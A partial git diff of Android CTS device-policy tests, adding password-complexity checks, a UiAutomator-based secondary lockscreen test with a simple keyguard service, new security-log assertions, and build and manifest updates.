+                mDevicePolicyManager.getRequiredPasswordComplexity());
+    }
+
+    public void testPasswordComplexity_settingQualityResetsComplexity() {
+        if (!mShouldRun) {
+            return;
+        }
+
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_MEDIUM);
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
+        assertEquals(PASSWORD_QUALITY_COMPLEX,
+                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT));
+        assertEquals(PASSWORD_COMPLEXITY_NONE,
+                mDevicePolicyManager.getRequiredPasswordComplexity());
+    }
+
+    public void testPasswordComplexity_Low() {
+        if (!mShouldRun) {
+            return;
+        }
+
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_LOW);
+        assertEquals(PASSWORD_COMPLEXITY_LOW,
+                mDevicePolicyManager.getRequiredPasswordComplexity());
+
+        String caseDescription = "low quality password";
+        assertPasswordSucceeds("abcd", caseDescription);
+        assertPasswordFails("123", caseDescription);
+        assertEquals(PASSWORD_COMPLEXITY_LOW, mDevicePolicyManager.getPasswordComplexity());
+        assertPasswordSucceeds("1a2b3c4d", caseDescription);
+        assertEquals(PASSWORD_COMPLEXITY_HIGH, mDevicePolicyManager.getPasswordComplexity());
+        assertPasswordSucceeds("162534", caseDescription); // 6 digits.
+        assertEquals(PASSWORD_COMPLEXITY_MEDIUM, mDevicePolicyManager.getPasswordComplexity());
+    }
+
+    public void testPasswordComplexity_Medium() {
+        if (!mShouldRun) {
+            return;
+        }
+
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_MEDIUM);
+        assertEquals(PASSWORD_QUALITY_UNSPECIFIED,
+                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT));
+        assertEquals(PASSWORD_COMPLEXITY_MEDIUM,
+                mDevicePolicyManager.getRequiredPasswordComplexity());
+
+        String caseDescription = "medium quality password";
+        assertPasswordSucceeds("axtd", caseDescription);
+        assertPasswordSucceeds("1axc", caseDescription);
+        assertPasswordSucceeds("1363", caseDescription);
+        assertPasswordFails("4444", caseDescription);
+        assertEquals(PASSWORD_COMPLEXITY_MEDIUM, mDevicePolicyManager.getPasswordComplexity());
+        assertPasswordSucceeds("1axc352ae63", caseDescription);
+        assertEquals(PASSWORD_COMPLEXITY_HIGH, mDevicePolicyManager.getPasswordComplexity());
+        assertPasswordFails("1234", caseDescription); // repeating pattern
+        assertEquals(PASSWORD_COMPLEXITY_HIGH, mDevicePolicyManager.getPasswordComplexity());
+    }
+
+    public void testPasswordComplexity_High() {
+        if (!mShouldRun) {
+            return;
+        }
+
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
+        assertEquals(PASSWORD_COMPLEXITY_HIGH,
+                mDevicePolicyManager.getRequiredPasswordComplexity());
+
+        String caseDescription = "high quality password";
+        assertPasswordFails("abcd", caseDescription);
+        assertPasswordFails("123", caseDescription);
+        assertPasswordSucceeds("1a2b3c4d5e", caseDescription);
+        assertEquals(PASSWORD_COMPLEXITY_HIGH, mDevicePolicyManager.getPasswordComplexity());
+        assertPasswordFails("162534", caseDescription); // Only 6 digits.
+    }
+
     public void testPasswordQuality_complexSymbols() {
         if (!mShouldRun) {
             return;
@@ -507,6 +597,7 @@
         // First remove device lock
         mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
                 DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED);
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
         assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, null,
                 TOKEN0, 0));
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
index 8baf460..d639cb9 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
@@ -16,36 +16,168 @@
 
 package com.android.cts.deviceandprofileowner;
 
-import static org.testng.Assert.assertThrows;
+import static com.android.compatibility.common.util.TestUtils.waitUntil;
+import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
 
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.PowerManager;
 import android.os.Process;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class SecondaryLockscreenTest extends BaseDeviceAdminTest {
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class SecondaryLockscreenTest {
+
+    private static final int UI_AUTOMATOR_WAIT_TIME_MILLIS = 10000;
+    private static final String TAG = "SecondaryLockscreenTest";
+
+    private Context mContext;
+    private DevicePolicyManager mDevicePolicyManager;
+    private UiDevice mUiDevice;
 
     @Before
-    @Override
     public void setUp() throws Exception {
-        super.setUp();
+        mContext = InstrumentationRegistry.getContext();
+        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+        assumeTrue(
+                "Device does not support secure lock",
+                mContext.getPackageManager().hasSystemFeature(
+                        PackageManager.FEATURE_SECURE_LOCK_SCREEN));
+
+        mUiDevice.executeShellCommand("locksettings set-disabled false");
+        mUiDevice.executeShellCommand("locksettings set-pin 1234");
+
+        mDevicePolicyManager.clearPackagePersistentPreferredActivities(ADMIN_RECEIVER_COMPONENT,
+                mContext.getPackageName());
+
         assertFalse(mDevicePolicyManager.isSecondaryLockscreenEnabled(Process.myUserHandle()));
+        mDevicePolicyManager.setSecondaryLockscreenEnabled(ADMIN_RECEIVER_COMPONENT, true);
+        assertTrue(mDevicePolicyManager.isSecondaryLockscreenEnabled(Process.myUserHandle()));
     }
 
     @After
-    @Override
     public void tearDown() throws Exception {
+        mDevicePolicyManager.setSecondaryLockscreenEnabled(ADMIN_RECEIVER_COMPONENT, false);
         assertFalse(mDevicePolicyManager.isSecondaryLockscreenEnabled(Process.myUserHandle()));
-        super.tearDown();
+        mUiDevice.executeShellCommand("locksettings clear --old 1234");
+        mUiDevice.executeShellCommand("locksettings set-disabled true");
     }
 
-    public void testSetSecondaryLockscreen_notSupervisionApp_throwsSecurityException() {
-        // This API is only available to the configured supervision app, which is not possible to
-        // override as part of a CTS test, so just test that a security exception is thrown as
-        // expected even for the DO/PO.
-        assertThrows(SecurityException.class,
-                () -> mDevicePolicyManager.setSecondaryLockscreenEnabled(ADMIN_RECEIVER_COMPONENT,
-                        true));
+    @Test
+    public void testSetSecondaryLockscreenEnabled() throws Exception {
+        enterKeyguardPin();
+        assertTrue("Lockscreen title not shown",
+                mUiDevice.wait(Until.hasObject(By.text(SimpleKeyguardService.TITLE_LABEL)),
+                        UI_AUTOMATOR_WAIT_TIME_MILLIS));
+
+        mDevicePolicyManager.setSecondaryLockscreenEnabled(ADMIN_RECEIVER_COMPONENT, false);
+
+        // Verify that the lockscreen is dismissed after disabling the feature
+        assertFalse(mDevicePolicyManager.isSecondaryLockscreenEnabled(Process.myUserHandle()));
+        verifyHomeLauncherIsShown();
     }
-}
\ No newline at end of file
+
+    @Test
+    public void testHomeButton() throws Exception {
+        enterKeyguardPin();
+        assertTrue("Lockscreen title not shown",
+                mUiDevice.wait(Until.hasObject(By.text(SimpleKeyguardService.TITLE_LABEL)),
+                        UI_AUTOMATOR_WAIT_TIME_MILLIS));
+
+        // Verify that pressing home does not dismiss the lockscreen
+        mUiDevice.pressHome();
+        verifySecondaryLockscreenIsShown();
+    }
+
+    @Test
+    public void testDismiss() throws Exception {
+        enterKeyguardPin();
+        assertTrue("Lockscreen title not shown",
+                mUiDevice.wait(Until.hasObject(By.text(SimpleKeyguardService.TITLE_LABEL)),
+                        UI_AUTOMATOR_WAIT_TIME_MILLIS));
+
+        mUiDevice.findObject(By.text(SimpleKeyguardService.DISMISS_BUTTON_LABEL)).click();
+        verifyHomeLauncherIsShown();
+
+        // Verify that the feature is not disabled after dismissal
+        enterKeyguardPin();
+        assertTrue(mUiDevice.wait(Until.hasObject(By.text(SimpleKeyguardService.TITLE_LABEL)),
+                UI_AUTOMATOR_WAIT_TIME_MILLIS));
+        verifySecondaryLockscreenIsShown();
+    }
+
+    @Test(expected = SecurityException.class)
+    public void testSetSecondaryLockscreen_ineligibleAdmin_throwsSecurityException() {
+        final ComponentName badAdmin = new ComponentName("com.foo.bar", ".NonProfileOwnerReceiver");
+        mDevicePolicyManager.setSecondaryLockscreenEnabled(badAdmin, true);
+    }
+
+    private void enterKeyguardPin() throws Exception {
+        final PowerManager pm = mContext.getSystemService(PowerManager.class);
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        waitUntil("Device still interactive", 5, () -> pm != null && !pm.isInteractive());
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        waitUntil("Device still not interactive", 5, () -> pm.isInteractive());
+        mUiDevice.executeShellCommand("wm dismiss-keyguard");
+        mUiDevice.wait(
+                Until.hasObject(By.res("com.android.systemui", "pinEntry")),
+                        UI_AUTOMATOR_WAIT_TIME_MILLIS);
+        mUiDevice.executeShellCommand("input text 1234");
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_ENTER");
+    }
+
+    private void verifyHomeLauncherIsShown() {
+        String launcherPackageName = getLauncherPackageName();
+        assertTrue("Lockscreen title is unexpectedly shown",
+                mUiDevice.wait(Until.gone(By.text(SimpleKeyguardService.TITLE_LABEL)),
+                        UI_AUTOMATOR_WAIT_TIME_MILLIS));
+        assertTrue(String.format("Launcher (%s) is not shown", launcherPackageName),
+                mUiDevice.wait(Until.hasObject(By.pkg(launcherPackageName)),
+                        UI_AUTOMATOR_WAIT_TIME_MILLIS));
+    }
+
+    private void verifySecondaryLockscreenIsShown() {
+        String launcherPackageName = getLauncherPackageName();
+        assertTrue("Lockscreen title is unexpectedly not shown",
+                mUiDevice.wait(Until.hasObject(By.text(SimpleKeyguardService.TITLE_LABEL)),
+                        UI_AUTOMATOR_WAIT_TIME_MILLIS));
+        assertTrue(String.format("Launcher (%s) is unexpectedly shown", launcherPackageName),
+                mUiDevice.wait(Until.gone(By.pkg(launcherPackageName)),
+                        UI_AUTOMATOR_WAIT_TIME_MILLIS));
+    }
+
+    private String getLauncherPackageName() {
+        Intent homeIntent = new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME);
+        List<ResolveInfo> resolveInfos = mContext.getPackageManager().queryIntentActivities(
+                homeIntent, 0);
+        StringBuilder sb = new StringBuilder();
+        for (ResolveInfo resolveInfo : resolveInfos) {
+            sb.append(resolveInfo.activityInfo.packageName).append("/").append(
+                    resolveInfo.activityInfo.name).append(", ");
+        }
+        return resolveInfos.isEmpty() ? null : resolveInfos.get(0).activityInfo.packageName;
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
index 42c03f6..b59b942 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
@@ -16,6 +16,7 @@
 package com.android.cts.deviceandprofileowner;
 
 import static android.app.admin.DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_HIGH;
 import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
 import static android.app.admin.SecurityLog.LEVEL_ERROR;
 import static android.app.admin.SecurityLog.LEVEL_INFO;
@@ -45,6 +46,7 @@
 import static android.app.admin.SecurityLog.TAG_MEDIA_UNMOUNT;
 import static android.app.admin.SecurityLog.TAG_OS_SHUTDOWN;
 import static android.app.admin.SecurityLog.TAG_OS_STARTUP;
+import static android.app.admin.SecurityLog.TAG_PASSWORD_COMPLEXITY_REQUIRED;
 import static android.app.admin.SecurityLog.TAG_PASSWORD_COMPLEXITY_SET;
 import static android.app.admin.SecurityLog.TAG_PASSWORD_EXPIRATION_SET;
 import static android.app.admin.SecurityLog.TAG_PASSWORD_HISTORY_LENGTH_SET;
@@ -139,6 +141,7 @@
                     .put(TAG_KEY_INTEGRITY_VIOLATION, of(S, I))
                     .put(TAG_CERT_VALIDATION_FAILURE, of(S))
                     .put(TAG_CAMERA_POLICY_SET, of(S, I, I, I))
+                    .put(TAG_PASSWORD_COMPLEXITY_REQUIRED, of(S, I, I, I))
                     .build();
 
     private static final String GENERATED_KEY_ALIAS = "generated_key_alias";
@@ -272,6 +275,7 @@
     private void verifyAdminEventsPresent(List<SecurityEvent> events) {
         if (mHasSecureLockScreen) {
             verifyPasswordComplexityEventsPresent(events);
+            verifyNewStylePasswordComplexityEventPresent(events);
         }
         verifyLockingPolicyEventsPresent(events);
         verifyUserRestrictionEventsPresent(events);
@@ -335,6 +339,7 @@
     private void generateAdminEvents() {
         if (mHasSecureLockScreen) {
             generatePasswordComplexityEvents();
+            generateNewStylePasswordComplexityEvents();
         }
         generateLockingPolicyEvents();
         generateUserRestrictionEvents();
@@ -642,6 +647,10 @@
         mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, TEST_PWD_CHARS);
     }
 
+    private void generateNewStylePasswordComplexityEvents() {
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
+    }
+
     private void verifyPasswordComplexityEventsPresent(List<SecurityEvent> events) {
         final int userId = Process.myUserHandle().getIdentifier();
         // This reflects default values for password complexity event payload fields.
@@ -679,6 +688,19 @@
         findPasswordComplexityEvent("set pwd min symbols", events, expectedPayload);
     }
 
+    private void verifyNewStylePasswordComplexityEventPresent(List<SecurityEvent> events) {
+        final int userId = Process.myUserHandle().getIdentifier();
+        // This reflects default values for password complexity event payload fields.
+        final Object[] expectedPayload = new Object[] {
+                ADMIN_RECEIVER_COMPONENT.getPackageName(), // admin package
+                userId,                    // admin user
+                userId,                    // target user
+                PASSWORD_COMPLEXITY_HIGH   // password complexity
+        };
+
+        findNewStylePasswordComplexityEvent("require password complexity", events, expectedPayload);
+    }
+
     private void generateLockingPolicyEvents() {
         if (mHasSecureLockScreen) {
             mDevicePolicyManager.setPasswordExpirationTimeout(ADMIN_RECEIVER_COMPONENT,
@@ -747,6 +769,13 @@
                         Arrays.equals((Object[]) e.getData(), expectedPayload));
     }
 
+    private void findNewStylePasswordComplexityEvent(
+            String description, List<SecurityEvent> events, Object[] expectedPayload) {
+        findEvent(description, events,
+                e -> e.getTag() == TAG_PASSWORD_COMPLEXITY_REQUIRED &&
+                        Arrays.equals((Object[]) e.getData(), expectedPayload));
+    }
+
     private void generateUserRestrictionEvents() {
         mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT,
                 UserManager.DISALLOW_PRINTING);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SensorPermissionGrantTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SensorPermissionGrantTest.java
new file mode 100755
index 0000000..808d466
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SensorPermissionGrantTest.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceandprofileowner;
+
+import static com.google.common.truth.Truth.assertThat;
+
+public class SensorPermissionGrantTest extends BaseDeviceAdminTest {
+    public void testAdminCanGrantSensorsPermissions() {
+        assertThat(mDevicePolicyManager.canAdminGrantSensorsPermissions()).isTrue();
+    }
+
+    public void testAdminCannotGrantSensorsPermission() {
+        assertThat(mDevicePolicyManager.canAdminGrantSensorsPermissions()).isFalse();
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java
new file mode 100644
index 0000000..10246cf
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import android.app.admin.DevicePolicyKeyguardService;
+import android.content.Context;
+import android.graphics.Color;
+import android.hardware.display.DisplayManager;
+import android.os.IBinder;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.view.Display;
+import android.view.Gravity;
+import android.view.SurfaceControlViewHost;
+import android.view.View;
+import android.widget.Button;
+import android.widget.LinearLayout;
+import android.widget.TextView;
+
+/**
+ * Service that provides the secondary lockscreen content when the secondary lockscreen is enabled.
+ *
+ * <p>Handles the {@link DevicePolicyManager#ACTION_BIND_SECONDARY_LOCKSCREEN_SERVICE} action and
+ * in used in conjunction with {@link DevicePolicyManager.setSecondaryLockscreenEnabled}.
+ */
+public class SimpleKeyguardService extends DevicePolicyKeyguardService {
+
+    public static final String TITLE_LABEL = "SimpleKeyguardService Title";
+    public static final String DISMISS_BUTTON_LABEL = "Dismiss";
+    private static final String TAG = "SimpleKeyguardService";
+
+    @Override
+    public SurfaceControlViewHost.SurfacePackage onCreateKeyguardSurface(IBinder hostInputToken) {
+        Log.d(TAG, "onCreateKeyguardSurface()");
+        Context context = getApplicationContext();
+
+        DisplayManager displayManager = context.getSystemService(DisplayManager.class);
+        Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+        DisplayMetrics displayMetrics = context.getResources().getDisplayMetrics();
+
+        SurfaceControlViewHost wvr = new SurfaceControlViewHost(context, display, hostInputToken);
+        wvr.setView(createView(context), displayMetrics.widthPixels, displayMetrics.heightPixels);
+
+        return wvr.getSurfacePackage();
+    }
+
+    private View createView(Context context) {
+        TextView title = new TextView(context);
+        title.setText(TITLE_LABEL);
+
+        Button button = new Button(context);
+        // Avoid potential all caps text transformation on button. (eg. b/172993563)
+        button.setTransformationMethod(null);
+        button.setText(DISMISS_BUTTON_LABEL);
+        button.setOnClickListener(ignored -> {
+            button.setText("Dismissing...");
+            button.setEnabled(false);
+            dismiss();
+        });
+
+        LinearLayout rootView = new LinearLayout(context);
+        rootView.setOrientation(LinearLayout.VERTICAL);
+        rootView.setGravity(Gravity.CENTER);
+        rootView.setBackgroundColor(Color.WHITE);
+        rootView.addView(title);
+        rootView.addView(button);
+        return rootView;
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SuspendPackageTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SuspendPackageTest.java
index 8a05a27..aede805 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SuspendPackageTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SuspendPackageTest.java
@@ -16,10 +16,9 @@
 
 package com.android.cts.deviceandprofileowner;
 
-import android.content.Intent;
-import android.content.pm.PackageManager;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.getDefaultLauncher;
+
 import android.content.pm.PackageManager.NameNotFoundException;
-import android.content.pm.ResolveInfo;
 import android.content.pm.SuspendDialogInfo;
 
 import java.util.Arrays;
@@ -87,8 +86,8 @@
     /**
      * Verify that we cannot suspend launcher and dpc app.
      */
-    public void testSuspendNotSuspendablePackages() {
-        String launcherPackage = getLauncherPackage();
+    public void testSuspendNotSuspendablePackages() throws Exception {
+        String launcherPackage = getDefaultLauncher(getInstrumentation());
         String dpcPackage = ADMIN_RECEIVER_COMPONENT.getPackageName();
         String[] unsuspendablePackages = new String[] {launcherPackage, dpcPackage};
         String[] notHandledPackages = mDevicePolicyManager.setPackagesSuspended(
@@ -99,17 +98,6 @@
         assertArrayEqualIgnoreOrder(unsuspendablePackages, notHandledPackages);
     }
 
-    /**
-     * @return the package name of launcher.
-     */
-    private String getLauncherPackage() {
-        Intent intent = new Intent(Intent.ACTION_MAIN);
-        intent.addCategory(Intent.CATEGORY_HOME);
-        ResolveInfo resolveInfo = mContext.getPackageManager().resolveActivity(intent,
-                PackageManager.MATCH_DEFAULT_ONLY);
-        return resolveInfo.activityInfo.packageName;
-    }
-
     private static <T> void assertArrayEqualIgnoreOrder(T[] a, T[] b) {
         assertEquals(a.length, b.length);
         assertTrue(new HashSet(Arrays.asList(a)).containsAll(new HashSet(Arrays.asList(b))));
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
index 9bb371b..01d8572 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
@@ -20,26 +20,34 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import android.app.UiAutomation;
 import android.app.admin.DevicePolicyManager;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.hardware.camera2.CameraManager;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.HandlerThread;
+import android.os.UserHandle;
 import android.os.UserManager;
+import android.provider.Settings;
 import android.test.InstrumentationTestCase;
 import android.util.Log;
 
+import com.android.cts.devicepolicy.CameraUtils;
+
 import com.google.common.collect.ImmutableSet;
 
-import java.util.concurrent.TimeUnit;
 import java.util.Set;
+import java.util.concurrent.TimeUnit;
 
 public class UserRestrictionsParentTest extends InstrumentationTestCase {
 
     private static final String TAG = "UserRestrictionsParentTest";
 
     protected Context mContext;
+    private ContentResolver mContentResolver;
+    private UiAutomation mUiAutomation;
     private DevicePolicyManager mDevicePolicyManager;
     private UserManager mUserManager;
 
@@ -56,6 +64,8 @@
     protected void setUp() throws Exception {
         super.setUp();
         mContext = getInstrumentation().getContext();
+        mContentResolver = mContext.getContentResolver();
+        mUiAutomation = getInstrumentation().getUiAutomation();
 
         mDevicePolicyManager = (DevicePolicyManager)
                 mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
@@ -72,6 +82,7 @@
 
     @Override
     protected void tearDown() throws Exception {
+        mUiAutomation.dropShellPermissionIdentity();
         stopBackgroundThread();
         super.tearDown();
     }
@@ -161,8 +172,7 @@
         while (successToOpen != canOpen && retries > 0) {
             retries--;
             Thread.sleep(500);
-            successToOpen = CameraUtils
-                    .blockUntilOpenCamera(mCameraManager, mBackgroundHandler);
+            successToOpen = CameraUtils.blockUntilOpenCamera(mCameraManager, mBackgroundHandler);
         }
         assertEquals(String.format("Timed out waiting the value to change to %b (actual=%b)",
                 canOpen, successToOpen), canOpen, successToOpen);
@@ -192,11 +202,18 @@
                     // UserManager.DISALLOW_DEBUGGING_FEATURES
             );
 
-    public void testPerProfileUserRestriction_onParent() {
+    public void testPerProfileUserRestriction_onParent() throws Settings.SettingNotFoundException {
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.CREATE_USERS");
+
         DevicePolicyManager parentDevicePolicyManager =
                 mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
         assertNotNull(parentDevicePolicyManager);
 
+        int locationMode = Settings.Secure.getIntForUser(mContentResolver,
+                Settings.Secure.LOCATION_MODE, UserHandle.USER_SYSTEM);
+
         for (String restriction : PROFILE_OWNER_ORGANIZATION_OWNED_LOCAL_RESTRICTIONS) {
             try {
                 boolean hasRestrictionOnManagedProfile = mUserManager.hasUserRestriction(
@@ -214,6 +231,12 @@
                 assertThat(hasUserRestriction(restriction)).isFalse();
             }
         }
+
+        // Restore the location mode setting after adding and removing the
+        // DISALLOW_SHARE_LOCATION user restriction. This is because, modifying this user
+        // restriction causes the location mode setting to be turned off.
+        Settings.Secure.putIntForUser(mContentResolver, Settings.Secure.LOCATION_MODE, locationMode,
+                UserHandle.USER_SYSTEM);
     }
 
     private static final Set<String> PROFILE_OWNER_ORGANIZATION_OWNED_GLOBAL_RESTRICTIONS =
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
index 1f3bc25..98c1dc3 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDeviceOwnerApp",
     defaults: ["cts_defaults"],
@@ -41,6 +37,8 @@
         "cts-security-test-support-library",
         "truth-prebuilt",
         "androidx.legacy_legacy-support-v4",
+        "devicepolicy-deviceside-common",
+        "DpmWrapper",
     ],
     min_sdk_version: "21",
     // tag this module as a cts test artifact
@@ -48,5 +46,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
index 673e166..ee8c274 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
@@ -15,69 +15,73 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.deviceowner" >
+     package="com.android.cts.deviceowner">
 
     <uses-sdk android:minSdkVersion="20"/>
 
-    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
-    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
-    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
+    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
     <uses-permission android:name="android.permission.ACCESS_MOCK_LOCATION"/>
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.BLUETOOTH" />
-    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.BLUETOOTH"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
